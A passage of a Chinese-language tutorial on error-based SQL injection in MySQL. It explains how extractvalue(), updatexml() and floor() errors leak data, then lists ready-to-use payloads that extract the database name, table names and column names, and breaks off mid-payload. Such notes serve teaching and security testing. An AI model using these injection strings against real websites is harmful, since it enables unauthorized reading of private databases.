报错注入
报错顾名思义,就是使语句报错。报错注入则是注入特殊的语句使报错回显中带上我们需要的信息。报错盲注也是三种盲注中效率最高的,常见的报错回显有三种函数extractvalue()、updatexml()、floor()
十二种报错:https://www.jianshu.com/p/bc35f8dd4f7c
使用条件:mysql版本>5.1.5
注意事项:extractvalue()、updatexml()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位
union、or、and可自由替换
extractvalue()
原函数:extractvalue(xml_document,Xpath_string)
' and (select extractvalue(1,concat(0x7e,(select database()),0x7e))) --+查库
' and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))--+查表
' and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where t